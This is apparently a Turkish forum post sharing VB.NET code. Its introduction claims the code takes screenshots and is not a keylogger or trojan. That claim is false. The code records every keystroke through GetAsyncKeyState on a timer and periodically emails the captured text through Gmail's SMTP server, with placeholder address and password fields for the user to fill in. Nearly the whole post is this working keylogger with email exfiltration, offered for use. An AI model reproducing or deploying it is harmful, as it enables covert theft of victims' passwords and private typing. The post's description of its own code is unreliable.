Basit Kodlar Bu Bolumde Paylaşıyorum..

Keylogger Yada Trojen Degıl Yanlış Anlamayın Ekran Görüntüsü Almak İçin Gereken Kodlardır Bunlar..!


Imports System.Net.Mail
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

For i = 1 To 255
result = 0
result = (GetAsyncKeyState(i))
If result = -32767 Then
RichTextBox1.Text = RichTextBox1.Text + Chr(i)
End If
Next i
End Sub

Private Sub email_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles email.Tick
Dim MymailMassege As New MailMessage()
MymailMassege.From = New MailAddress("Gmailiniz Giriniz")
MymailMassege.To.Add("Gmailiniz Giriniz")
MymailMassege.Subject = ("sancarhan ya İstiklal Ya Ölüm")
MymailMassege.Body = RichTextBox1.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("Gmailiniz Giriniz", "Gmail Şifrenizi Giriniz")
SMTPServer.EnableSsl = True
SMTPServer.Send(MymailMassege)
RichTextBox1.Text = ("Bundan Sonra Ya İstiklal Ya Ölüm")
End Sub
End Class

Teşekkürler Paylaşım İçin